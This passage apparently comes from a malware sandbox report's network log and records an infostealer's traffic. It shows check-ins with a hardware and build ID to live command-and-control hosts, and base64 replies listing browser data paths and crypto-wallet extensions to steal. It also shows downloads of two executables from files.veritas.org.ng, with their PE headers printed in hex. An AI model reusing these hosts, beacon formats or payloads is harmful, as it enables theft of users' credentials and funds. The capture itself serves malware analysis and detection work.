61 6d 65 3d 22 6d 65 73 73 61 67 65 22 0d 0a 0d 0a 79 62 6e 63 62 68 79 6c 65 70 6d 65 0d 0a 2d 2d 2d 2d 2d 2d 48 4a 45 48 49 4a 45 42 4b 45 42 46 42 46 48 49 49 44 48 49 2d 2d 0d 0a Data Ascii: ------HJEHIJEBKEBFBFHIIDHIContent-Disposition: form-data; name="token"821d00de8550e98e3c84db87fe65efa6698b6ec8b915dd92eca04484dc85fa455c45a0eb------HJEHIJEBKEBFBFHIIDHIContent-Disposition: form-data; name="message"ybncbhylepme------HJEHIJEBKEBFBFHIIDHI--
Sep 30, 2024 13:59:53.451117992 CEST	411	IN	HTTP/1.1 200 OK Date: Mon, 30 Sep 2024 11:59:53 GMT Server: Apache/2.4.41 (Ubuntu) Vary: Accept-Encoding Content-Length: 184 Keep-Alive: timeout=5, max=94 Connection: Keep-Alive Content-Type: text/html; charset=UTF-8 Data Raw: 61 48 52 30 63 44 6f 76 4c 32 5a 70 62 47 56 7a 4c 6e 5a 6c 63 6d 6c 30 59 58 4d 75 62 33 4a 6e 4c 6d 35 6e 4c 32 78 6b 62 58 4d 76 4e 6a 5a 6d 59 54 4a 68 5a 6d 4d 31 59 57 4a 6c 59 56 39 32 59 58 4e 6b 4c 6d 56 34 5a 58 77 77 66 44 42 38 55 33 52 68 63 6e 52 38 4e 48 78 6f 64 48 52 77 4f 69 38 76 5a 6d 6c 73 5a 58 4d 75 64 6d 56 79 61 58 52 68 63 79 35 76 63 6d 63 75 62 6d 63 76 62 47 52 74 63 79 38 32 4e 6d 5a 68 4d 6d 49 77 4e 44 6b 77 4d 6a 42 6d 58 32 78 6b 62 6d 59 75 5a 58 68 6c 66 44 42 38 4d 48 78 54 64 47 46 79 64 48 77 30 66 41 3d 3d Data Ascii: aHR0cDovL2ZpbGVzLnZlcml0YXMub3JnLm5nL2xkbXMvNjZmYTJhZmM1YWJlYV92YXNkLmV4ZXwwfDB8U3RhcnR8NHxodHRwOi8vZmlsZXMudmVyaXRhcy5vcmcubmcvbGRtcy82NmZhMmIwNDkwMjBmX2xkbmYuZXhlfDB8MHxTdGFydHw0fA==
Sep 30, 2024 13:59:55.378475904 CEST	471	OUT	POST /c4754d4f680ead72.php HTTP/1.1 Content-Type: multipart/form-data; boundary=----JKKEHJDHJKFIECAAKFIJ Host: 46.8.231.109 Content-Length: 272 Connection: Keep-Alive Cache-Control: no-cache Data Raw: 2d 2d 2d 2d 2d 2d 4a 4b 4b 45 48 4a 44 48 4a 4b 46 49 45 43 41 41 4b 46 49 4a 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 74 6f 6b 65 6e 22 0d 0a 0d 0a 38 32 31 64 30 30 64 65 38 35 35 30 65 39 38 65 33 63 38 34 64 62 38 37 66 65 36 35 65 66 61 36 36 39 38 62 36 65 63 38 62 39 31 35 64 64 39 32 65 63 61 30 34 34 38 34 64 63 38 35 66 61 34 35 35 63 34 35 61 30 65 62 0d 0a 2d 2d 2d 2d 2d 2d 4a 4b 4b 45 48 4a 44 48 4a 4b 46 49 45 43 41 41 4b 46 49 4a 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 6d 65 73 73 61 67 65 22 0d 0a 0d 0a 77 6b 6b 6a 71 61 69 61 78 6b 68 62 0d 0a 2d 2d 2d 2d 2d 2d 4a 4b 4b 45 48 4a 44 48 4a 4b 46 49 45 43 41 41 4b 46 49 4a 2d 2d 0d 0a Data Ascii: ------JKKEHJDHJKFIECAAKFIJContent-Disposition: form-data; name="token"821d00de8550e98e3c84db87fe65efa6698b6ec8b915dd92eca04484dc85fa455c45a0eb------JKKEHJDHJKFIECAAKFIJContent-Disposition: form-data; name="message"wkkjqaiaxkhb------JKKEHJDHJKFIECAAKFIJ--

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
6	192.168.2.6	49733	147.45.44.104	80	1916	C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe

Timestamp	Bytes transferred	Direction	Data
Sep 30, 2024 13:59:53.465924978 CEST	98	OUT	GET /ldms/66fa2afc5abea_vasd.exe HTTP/1.1 Host: files.veritas.org.ng Cache-Control: no-cache
Sep 30, 2024 13:59:54.102777958 CEST	1236	IN	HTTP/1.1 200 OK Server: nginx Date: Mon, 30 Sep 2024 11:59:54 GMT Content-Type: application/octet-stream Content-Length: 414248 Last-Modified: Mon, 30 Sep 2024 04:37:16 GMT Connection: keep-alive Keep-Alive: timeout=120 ETag: "66fa2afc-65228" X-Content-Type-Options: nosniff Accept-Ranges: bytes Data Raw: 4d 5a 90 00 03 00 00 00 04 00 00 00 ff ff 00 00 b8 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 80 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 0d 0d 0a 24 00 00 00 00 00 00 00 50 45 00 00 4c 01 03 00 5c 28 fa 66 00 00 00 00 00 00 00 00 e0 00 02 01 0b 01 0b 00 00 22 06 00 00 08 00 00 00 00 00 00 4e 40 06 00 00 20 00 00 00 60 06 00 00 00 40 00 00 20 00 00 00 02 00 00 04 00 00 00 00 00 00 00 06 00 00 00 00 00 00 00 00 a0 06 00 00 02 00 00 00 00 00 00 03 00 60 85 00 00 10 00 00 10 00 00 00 00 10 00 00 10 00 00 00 00 00 00 10 00 00 00 00 00 00 00 00 00 00 00 00 40 06 00 4b 00 00 00 00 60 06 00 f8 05 00 00 00 00 00 00 00 00 00 00 00 2c 06 00 28 26 00 00 00 80 06 00 0c 00 00 00 c8 3e 06 00 1c 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 [TRUNCATED] Data Ascii: MZ@!L!This program cannot be run in DOS mode.$PEL\(f"N@ `@ `@K`,(&> H.textT " `.rsrc`$@@.reloc@B0@H.;8`wrb CGA~zxFc@Qe88$aN!Q4f\dae94^Q8fvwWwHkQ,3A$#P)Sob+gY\o5m)2t5C&z7-Dq!oW2Fn;~9.q4lVOplm}':E/%2_g=7m0^hcz$cs?`t6@BM.
Sep 30, 2024 13:59:54.102883101 CEST	224	IN	Data Raw: 05 f9 22 76 43 cb 3b 27 2b 64 c6 b6 0f e0 3e e5 56 f2 5b ac 49 e2 c8 b4 48 25 22 1d 02 98 0b 9f 82 77 1b 45 84 8b 8a 0b e9 59 8d 95 cc f9 cd 46 f0 63 c8 cf 09 14 ff 14 bb 08 4d e2 84 fc 16 74 98 c9 5c f2 51 31 01 44 77 1c 95 f8 31 9b 8e b6 7c 8a Data Ascii: "vC;'+d>V[IH%"wEYFcMt\Q1Dw1\|C7+a'I++KdSVc/qpyy4"6+b47avuq}8SK&59&5:OgPS3jIqlK
Sep 30, 2024 13:59:54.102895975 CEST	1236	IN	Data Raw: 6c 1e 24 3e d1 d5 fb ea 11 4f 10 82 11 1e 9a ef 95 ed d9 04 18 75 10 6c 52 f1 00 7c 7f 4f bb c0 19 11 3c 59 cb 87 dc 71 bd e8 af 53 57 88 bd b4 b5 90 70 54 3f 33 bb 7e cb f1 9c ce cc 6a 06 23 66 9f b5 d3 b9 e1 1a 4a c4 95 99 3f 28 66 3f 3b 2c b7 Data Ascii: l$>OulR\|O<YqSWpT?3~j#fJ?(f?;,Y,6!S-c&)`Z]:'@\OufTdC}FT{(37R'vncocS"keKWCuA:e~kgx
Sep 30, 2024 13:59:54.102906942 CEST	1236	IN	Data Raw: b5 70 7d 3a ca ea 6b 68 c2 51 94 33 d9 3a da e4 66 2d df 23 65 56 fc d8 b4 55 2c 9f 73 f0 50 a7 91 ad 58 56 72 8c 56 d8 44 07 b7 d0 f1 cb 70 b0 93 43 64 9e ee a0 20 5a 4a 27 f9 bd 7d 2a 23 18 75 ec 22 e8 5a 0f d7 b0 9b 2d 41 e3 3f 75 62 8d 31 02 Data Ascii: p}:khQ3:f-#eVU,sPXVrVDpCd ZJ'}*#u"Z-A?ub1mkwI.y{h0S.&Kn[w$/<;^Xf0(Fy-U\|%@X?U('-dw.1qOgHTU$,^>ULFI{}0aIdgp" uR\|
Sep 30, 2024 13:59:54.102920055 CEST	1236	IN	Data Raw: 20 5d 43 0a 4b b3 99 c0 6f 3e 12 4f e7 ae 30 b7 a4 d2 9c 5e 4a f3 ec f9 be b8 0a 15 20 7d 15 85 fe a9 e6 24 93 fc be 7f e1 76 41 46 1e 36 b9 8d 4a b9 2a d0 f5 0c e8 6a 23 3f 24 73 8e aa 45 d1 dc 59 a3 12 0d 65 43 cc 12 1e 24 4e 6d f9 5a dc bc b6 Data Ascii: ]CKo>O0^J }$vAF6Jj#?$sEYeC$NmZ_[twQnsY7&pQq+1y;E^iEn?b,uCYWHc_t!1B+niM3!L99h+4Lpm*<(ucwJ)
Sep 30, 2024 13:59:54.102930069 CEST	672	IN	Data Raw: 82 63 c3 88 4a 5c 2f bd c8 03 67 82 ee c9 c8 5f d1 57 4f c6 f0 a5 92 c1 72 2e c1 13 1c 63 5d 74 73 80 7d 6e 7f 68 0c f5 a6 53 b1 4b e5 15 9a 4a 19 63 55 71 56 ac 8d fd 02 35 95 bb 40 99 37 b3 25 17 c1 7a f8 b8 ce 5f ab 0f 33 26 68 5f 28 c0 26 9e Data Ascii: cJ\/g_WOr.c]ts}nhSKJcUqV5@7%z_3&h_(&]P\GE8FPT\T=+4uLn~a1Z:YQ2ZDCa!EC^Sq{w-,+Q.b{DsNI
Sep 30, 2024 13:59:54.102941990 CEST	1236	IN	Data Raw: ce c7 eb 0e 88 7d ae 7c c7 34 8c 41 de 32 74 db 14 91 0b 80 0a 89 46 14 97 9e e9 6a 3b 46 a0 b7 a5 24 7a 43 14 14 51 9c ea 77 68 46 04 d7 d7 4c 5a 7c a3 10 06 f2 38 a5 b5 49 8d 82 c2 d7 58 87 11 4d ef 60 07 af eb 5b 10 a9 b8 ae f1 98 9a 0f cd 1c Data Ascii: }\|4A2tFj;F$zCQwhFLZ\|8IXM`[*Y1]>K c> &'xaC$ja9t"$G;a^OD>MV3b\|O2nA1N@IAc]BM6rq"B
Sep 30, 2024 13:59:54.103008986 CEST	1236	IN	Data Raw: 9f a6 50 94 5c 32 e7 9b 9f bc 36 85 76 7c 13 86 89 88 77 eb 4a 24 59 1b 35 a2 16 38 5f 84 8c be ac ee 60 82 b7 0b 5d e9 d7 28 84 79 db 9e d3 82 82 df 2e 51 a9 0d e9 32 15 d9 ec 9b 24 fa 7e 1d 33 c1 b6 53 a9 87 ab 66 b2 9c 77 8a 18 42 51 9b 8d db Data Ascii: P\26v\|wJ$Y58_`](y.Q2$~3SfwBQAXF33,e^V8A.Ed'IiZ>aS!ILx%\|<>Tupg91:wQ[PWi;B60F(tF^'Y\|39n%:<U:
Sep 30, 2024 13:59:54.103194952 CEST	1236	IN	Data Raw: 8f 10 bb d5 19 d3 82 47 83 a2 d9 f8 f7 80 32 49 67 cb 63 11 aa 9b d6 70 90 8b dc 58 ac b1 5f 0a a5 d8 f7 5a 65 00 25 6d 24 30 a8 08 33 2b 25 fc ea 64 08 c0 9a c2 fa cc 80 ef f0 4c c8 28 ee 46 8c 3c a0 5b ec 34 5b cb bb db aa 43 98 8d 56 99 74 d0 Data Ascii: G2IgcpX_Ze%m$03+%dL(F<[4[CVtiE2qu3'R _9Af!-SKI~`K<+w+/cP&9!VJ"cqk3VL_=J?0/.ynM&!hD,rV!thQX/$mOo
Sep 30, 2024 13:59:54.103214025 CEST	1236	IN	Data Raw: 4d 1d 53 ae 33 72 bb 8f 4d ca 63 c5 5d 51 48 8f 94 ce 99 70 e3 3a c2 3f a1 f0 52 f0 18 e0 a9 75 ed e9 db 88 1b 7a d3 55 6a db b8 31 66 17 47 fb 52 76 f7 17 51 4b 0a bf c5 41 1d 4a 59 ab 9e 1a 58 b3 52 a1 bf 25 bb 41 e4 8a 37 f0 1a fe 94 9d c1 79 Data Ascii: MS3rMc]QHp:?RuzUj1fGRvQKAJYXR%A7yb8kS{<yPkc's;1;GWl`5;_X0zSgj-a7d<O->-:1^<Gnz+~N^VqiS\(`g28RA
Sep 30, 2024 13:59:54.109216928 CEST	1236	IN	Data Raw: 65 31 fc b9 5e 33 91 5b d2 1f 05 cd 67 9a fd cc b3 f4 f3 91 26 4b 15 c5 58 ba 11 1b 4b 65 61 b0 cb be de 74 e2 57 bf c1 3b 2a 59 27 a5 36 1f ba 2d f6 02 fe a9 ab 69 0f bc 21 dd d0 6d af 68 3b f5 21 d4 3a db 96 5a 3c 59 ad d6 f1 a4 f1 6a 98 5d 9d Data Ascii: e1^3[g&KXKeatW;*Y'6-i!mh;!:Z<Yj]gqrsLEM90v38Tmv/S8`(`w7KjKX)T<,IfdySq#-^y5E4n2712NQ;BGi,Lu4bHN;
Sep 30, 2024 13:59:54.831676960 CEST	98	OUT	GET /ldms/66fa2b049020f_ldnf.exe HTTP/1.1 Host: files.veritas.org.ng Cache-Control: no-cache
Sep 30, 2024 13:59:55.016460896 CEST	1236	IN	HTTP/1.1 200 OK Server: nginx Date: Mon, 30 Sep 2024 11:59:54 GMT Content-Type: application/octet-stream Content-Length: 380456 Last-Modified: Mon, 30 Sep 2024 04:37:24 GMT Connection: keep-alive Keep-Alive: timeout=120 ETag: "66fa2b04-5ce28" X-Content-Type-Options: nosniff Accept-Ranges: bytes Data Raw: 4d 5a 90 00 03 00 00 00 04 00 00 00 ff ff 00 00 b8 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 80 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 0d 0d 0a 24 00 00 00 00 00 00 00 50 45 00 00 4c 01 03 00 2f 28 fa 66 00 00 00 00 00 00 00 00 e0 00 02 01 0b 01 0b 00 00 9e 05 00 00 08 00 00 00 00 00 00 4e bc 05 00 00 20 00 00 00 c0 05 00 00 00 40 00 00 20 00 00 00 02 00 00 04 00 00 00 00 00 00 00 06 00 00 00 00 00 00 00 00 00 06 00 00 02 00 00 00 00 00 00 03 00 60 85 00 00 10 00 00 10 00 00 00 00 10 00 00 10 00 00 00 00 00 00 10 00 00 00 00 00 00 00 00 00 00 00 00 bc 05 00 4b 00 00 00 00 c0 05 00 f8 05 00 00 00 00 00 00 00 00 00 00 00 a8 05 00 28 26 00 00 00 e0 05 00 0c 00 00 00 c8 ba 05 00 1c 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 [TRUNCATED] Data Ascii: MZ@!L!This program cannot be run in DOS mode.$PEL/(fN @ `K(& H.textT `.rsrc@@.reloc@B0H@X15QTw{v^"S0ZoX\|oASDnEe5_0EA;$3Z!h;%r;GuR$'9V7O?C:\|,`2vq2tX/g=^n(?%NgQ%%Iro0Hf.w+^ci/'FFREt+v7Sg3}(H)u!_5Ybtj#*Jz^xiHxT

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
7	192.168.2.6	49736	5.42.101.62	80	424	C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe

Timestamp	Bytes transferred	Direction	Data
Sep 30, 2024 13:59:56.641005993 CEST	87	OUT	GET / HTTP/1.1 Host: urusvisa.com Connection: Keep-Alive Cache-Control: no-cache
Sep 30, 2024 13:59:57.574222088 CEST	168	IN	HTTP/1.1 200 OK Server: nginx Date: Mon, 30 Sep 2024 11:59:57 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 30 0d 0a 0d 0a Data Ascii: 0
Sep 30, 2024 13:59:57.604192019 CEST	435	OUT	POST / HTTP/1.1 Content-Type: multipart/form-data; boundary=----CFCGIIEHIEGDGDGCAEBG Host: urusvisa.com Content-Length: 256 Connection: Keep-Alive Cache-Control: no-cache Data Raw: 2d 2d 2d 2d 2d 2d 43 46 43 47 49 49 45 48 49 45 47 44 47 44 47 43 41 45 42 47 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 68 77 69 64 22 0d 0a 0d 0a 35 34 41 35 30 36 37 31 43 34 38 41 33 37 38 38 39 35 32 38 38 32 2d 61 33 33 63 37 33 34 30 2d 36 31 63 61 0d 0a 2d 2d 2d 2d 2d 2d 43 46 43 47 49 49 45 48 49 45 47 44 47 44 47 43 41 45 42 47 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 62 75 69 6c 64 5f 69 64 22 0d 0a 0d 0a 61 36 36 39 61 38 36 66 38 34 33 33 61 31 65 38 38 39 30 31 37 31 31 63 30 66 37 37 32 63 39 37 0d 0a 2d 2d 2d 2d 2d 2d 43 46 43 47 49 49 45 48 49 45 47 44 47 44 47 43 41 45 42 47 2d 2d 0d 0a Data Ascii: ------CFCGIIEHIEGDGDGCAEBGContent-Disposition: form-data; name="hwid"54A50671C48A3788952882-a33c7340-61ca------CFCGIIEHIEGDGDGCAEBGContent-Disposition: form-data; name="build_id"a669a86f8433a1e88901711c0f772c97------CFCGIIEHIEGDGDGCAEBG--
Sep 30, 2024 13:59:58.145477057 CEST	232	IN	HTTP/1.1 200 OK Server: nginx Date: Mon, 30 Sep 2024 11:59:58 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 33 61 0d 0a 31 7c 31 7c 31 7c 31 7c 65 62 66 33 33 35 31 39 34 39 66 61 38 35 66 62 61 65 33 61 32 36 65 63 65 35 35 66 35 33 63 62 7c 31 7c 31 7c 31 7c 30 7c 30 7c 35 30 30 30 30 7c 31 0d 0a 30 0d 0a 0d 0a Data Ascii: 3a1\|1\|1\|1\|ebf3351949fa85fbae3a26ece55f53cb\|1\|1\|1\|0\|0\|50000\|10
Sep 30, 2024 13:59:58.146826029 CEST	510	OUT	POST / HTTP/1.1 Content-Type: multipart/form-data; boundary=----KJEHDHIEGIIIDHIDHDHJ Host: urusvisa.com Content-Length: 331 Connection: Keep-Alive Cache-Control: no-cache Data Raw: 2d 2d 2d 2d 2d 2d 4b 4a 45 48 44 48 49 45 47 49 49 49 44 48 49 44 48 44 48 4a 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 74 6f 6b 65 6e 22 0d 0a 0d 0a 65 62 66 33 33 35 31 39 34 39 66 61 38 35 66 62 61 65 33 61 32 36 65 63 65 35 35 66 35 33 63 62 0d 0a 2d 2d 2d 2d 2d 2d 4b 4a 45 48 44 48 49 45 47 49 49 49 44 48 49 44 48 44 48 4a 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 62 75 69 6c 64 5f 69 64 22 0d 0a 0d 0a 61 36 36 39 61 38 36 66 38 34 33 33 61 31 65 38 38 39 30 31 37 31 31 63 30 66 37 37 32 63 39 37 0d 0a 2d 2d 2d 2d 2d 2d 4b 4a 45 48 44 48 49 45 47 49 49 49 44 48 49 44 48 44 48 4a 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 6d 6f 64 65 22 0d 0a 0d 0a 31 0d 0a 2d 2d 2d 2d 2d 2d 4b 4a 45 48 44 48 49 45 47 49 49 49 44 48 49 44 48 44 48 4a 2d 2d 0d 0a Data Ascii: ------KJEHDHIEGIIIDHIDHDHJContent-Disposition: form-data; name="token"ebf3351949fa85fbae3a26ece55f53cb------KJEHDHIEGIIIDHIDHDHJContent-Disposition: form-data; name="build_id"a669a86f8433a1e88901711c0f772c97------KJEHDHIEGIIIDHIDHDHJContent-Disposition: form-data; name="mode"1------KJEHDHIEGIIIDHIDHDHJ--
Sep 30, 2024 13:59:58.686136007 CEST	1236	IN	HTTP/1.1 200 OK Server: nginx Date: Mon, 30 Sep 2024 11:59:58 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 36 31 30 0d 0a 52 32 39 76 5a 32 78 6c 49 45 4e 6f 63 6d 39 74 5a 58 78 63 52 32 39 76 5a 32 78 6c 58 45 4e 6f 63 6d 39 74 5a 56 78 56 63 32 56 79 49 45 52 68 64 47 46 38 59 32 68 79 62 32 31 6c 66 45 64 76 62 32 64 73 5a 53 42 44 61 48 4a 76 62 57 55 67 51 32 46 75 59 58 4a 35 66 46 78 48 62 32 39 6e 62 47 56 63 51 32 68 79 62 32 31 6c 49 46 4e 34 55 31 78 56 63 32 56 79 49 45 52 68 64 47 46 38 59 32 68 79 62 32 31 6c 66 45 4e 6f 63 6d 39 74 61 58 56 74 66 46 78 44 61 48 4a 76 62 57 6c 31 62 56 78 56 63 32 56 79 49 45 52 68 64 47 46 38 59 32 68 79 62 32 31 6c 66 45 46 74 61 57 64 76 66 46 78 42 62 57 6c 6e 62 31 78 56 63 32 56 79 49 45 52 68 64 47 46 38 59 32 68 79 62 32 31 6c 66 46 52 76 63 6d 4e 6f 66 46 78 55 62 33 4a 6a 61 46 78 56 63 32 56 79 49 45 52 68 64 47 46 38 59 32 68 79 62 32 31 6c 66 46 5a 70 64 6d 46 73 5a 47 6c 38 58 46 5a 70 64 6d 46 73 5a 47 6c 63 56 58 4e 6c 63 69 42 45 59 58 52 68 66 47 4e 6f 63 6d 39 74 5a 58 78 44 62 32 31 76 5a 47 38 67 52 48 4a 68 5a 32 39 75 66 46 78 44 62 [TRUNCATED] Data Ascii: 610R29vZ2xlIENocm9tZXxcR29vZ2xlXENocm9tZVxVc2VyIERhdGF8Y2hyb21lfEdvb2dsZSBDaHJvbWUgQ2FuYXJ5fFxHb29nbGVcQ2hyb21lIFN4U1xVc2VyIERhdGF8Y2hyb21lfENocm9taXVtfFxDaHJvbWl1bVxVc2VyIERhdGF8Y2hyb21lfEFtaWdvfFxBbWlnb1xVc2VyIERhdGF8Y2hyb21lfFRvcmNofFxUb3JjaFxVc2VyIERhdGF8Y2hyb21lfFZpdmFsZGl8XFZpdmFsZGlcVXNlciBEYXRhfGNocm9tZXxDb21vZG8gRHJhZ29ufFxDb21vZG9cRHJhZ29uXFVzZXIgRGF0YXxjaHJvbWV8RXBpY1ByaXZhY3lCcm93c2VyfFxFcGljIFByaXZhY3kgQnJvd3NlclxVc2VyIERhdGF8Y2hyb21lfENvY0NvY3xcQ29jQ29jXEJyb3dzZXJcVXNlciBEYXRhfGNocm9tZXxCcmF2ZXxcQnJhdmVTb2Z0d2FyZVxCcmF2ZS1Ccm93c2VyXFVzZXIgRGF0YXxjaHJvbWV8Q2VudCBCcm93c2VyfFxDZW50QnJvd3NlclxVc2VyIERhdGF8Y2hyb21lfDdTdGFyfFw3U3Rhclw3U3RhclxVc2VyIERhdGF8Y2hyb21lfENoZWRvdCBCcm93c2VyfFxDaGVkb3RcVXNlciBEYXRhfGNocm9tZXxNaWNyb3NvZnQgRWRnZXxcTWljcm9zb2Z0XEVkZ2VcVXNlciBEYXRhfGNocm9tZXxNaWNyb3NvZnQgRWRnZSBDYW5hcnl8XE1pY3Jvc29mdFxFZGdlIFN4U1xVc2VyIERhdGF8Y2hyb21lfE1pY3Jvc29mdCBFZGdlIEJldGF8XE1pY3Jvc29mdFxFZGdlIEJldGFcVXNlciBEYXRhfGNocm9tZXxNaWNyb3NvZnQgRWRnZSBEZXZ8XE1pY3Jvc29mdFxFZGdlIERldlxVc2V [TRUNCATED]
Sep 30, 2024 13:59:58.686150074 CEST	491	IN	Data Raw: 56 58 4e 6c 63 69 42 45 59 58 52 68 66 47 4e 6f 63 6d 39 74 5a 58 78 52 55 55 4a 79 62 33 64 7a 5a 58 4a 38 58 46 52 6c 62 6d 4e 6c 62 6e 52 63 55 56 46 43 63 6d 39 33 63 32 56 79 58 46 56 7a 5a 58 49 67 52 47 46 30 59 58 78 6a 61 48 4a 76 62 57 Data Ascii: VXNlciBEYXRhfGNocm9tZXxRUUJyb3dzZXJ8XFRlbmNlbnRcUVFCcm93c2VyXFVzZXIgRGF0YXxjaHJvbWV8Q3J5cHRvVGFiIEJyb3dzZXJ8XENyeXB0b1RhYiBCcm93c2VyXFVzZXIgRGF0YXxjaHJvbWV8T3BlcmF8XE9wZXJhIFNvZnR3YXJlfG9wZXJhfE9wZXJhIEdYfFxPcGVyYSBTb2Z0d2FyZXxvcGVyYXxPcGVyYSB
Sep 30, 2024 13:59:58.687500954 CEST	510	OUT	POST / HTTP/1.1 Content-Type: multipart/form-data; boundary=----KEGCBFCBFBKFHIECAFCF Host: urusvisa.com Content-Length: 331 Connection: Keep-Alive Cache-Control: no-cache Data Raw: 2d 2d 2d 2d 2d 2d 4b 45 47 43 42 46 43 42 46 42 4b 46 48 49 45 43 41 46 43 46 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 74 6f 6b 65 6e 22 0d 0a 0d 0a 65 62 66 33 33 35 31 39 34 39 66 61 38 35 66 62 61 65 33 61 32 36 65 63 65 35 35 66 35 33 63 62 0d 0a 2d 2d 2d 2d 2d 2d 4b 45 47 43 42 46 43 42 46 42 4b 46 48 49 45 43 41 46 43 46 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 62 75 69 6c 64 5f 69 64 22 0d 0a 0d 0a 61 36 36 39 61 38 36 66 38 34 33 33 61 31 65 38 38 39 30 31 37 31 31 63 30 66 37 37 32 63 39 37 0d 0a 2d 2d 2d 2d 2d 2d 4b 45 47 43 42 46 43 42 46 42 4b 46 48 49 45 43 41 46 43 46 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 6d 6f 64 65 22 0d 0a 0d 0a 32 0d 0a 2d 2d 2d 2d 2d 2d 4b 45 47 43 42 46 43 42 46 42 4b 46 48 49 45 43 41 46 43 46 2d 2d 0d 0a Data Ascii: ------KEGCBFCBFBKFHIECAFCFContent-Disposition: form-data; name="token"ebf3351949fa85fbae3a26ece55f53cb------KEGCBFCBFBKFHIECAFCFContent-Disposition: form-data; name="build_id"a669a86f8433a1e88901711c0f772c97------KEGCBFCBFBKFHIECAFCFContent-Disposition: form-data; name="mode"2------KEGCBFCBFBKFHIECAFCF--
Sep 30, 2024 13:59:59.234601974 CEST	1236	IN	HTTP/1.1 200 OK Server: nginx Date: Mon, 30 Sep 2024 11:59:59 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 31 36 32 38 0d 0a 54 57 56 30 59 55 31 68 63 32 74 38 4d 58 78 75 61 32 4a 70 61 47 5a 69 5a 57 39 6e 59 57 56 68 62 32 56 6f 62 47 56 6d 62 6d 74 76 5a 47 4a 6c 5a 6d 64 77 5a 32 74 75 62 6e 77 78 66 44 42 38 4d 48 78 4e 5a 58 52 68 54 57 46 7a 61 33 77 78 66 47 52 71 59 32 78 6a 61 32 74 6e 62 47 56 6a 61 47 39 76 59 6d 78 75 5a 32 64 6f 5a 47 6c 75 62 57 56 6c 62 57 74 69 5a 32 4e 70 66 44 46 38 4d 48 77 77 66 45 31 6c 64 47 46 4e 59 58 4e 72 66 44 46 38 5a 57 70 69 59 57 78 69 59 57 74 76 63 47 78 6a 61 47 78 6e 61 47 56 6a 5a 47 46 73 62 57 56 6c 5a 57 46 71 62 6d 6c 74 61 47 31 38 4d 58 77 77 66 44 42 38 56 48 4a 76 62 6b 78 70 62 6d 74 38 4d 58 78 70 59 6d 35 6c 61 6d 52 6d 61 6d 31 74 61 33 42 6a 62 6d 78 77 5a 57 4a 72 62 47 31 75 61 32 39 6c 62 32 6c 6f 62 32 5a 6c 59 33 77 78 66 44 42 38 4d 48 78 43 61 57 35 68 62 6d 4e 6c 51 32 68 68 61 57 35 58 59 57 78 73 5a 58 52 38 4d 58 78 6d 61 47 4a 76 61 47 6c 74 59 57 56 73 59 6d 39 6f 63 47 70 69 59 6d 78 6b 59 32 35 6e 59 32 35 68 63 47 35 6b [TRUNCATED] Data Ascii: 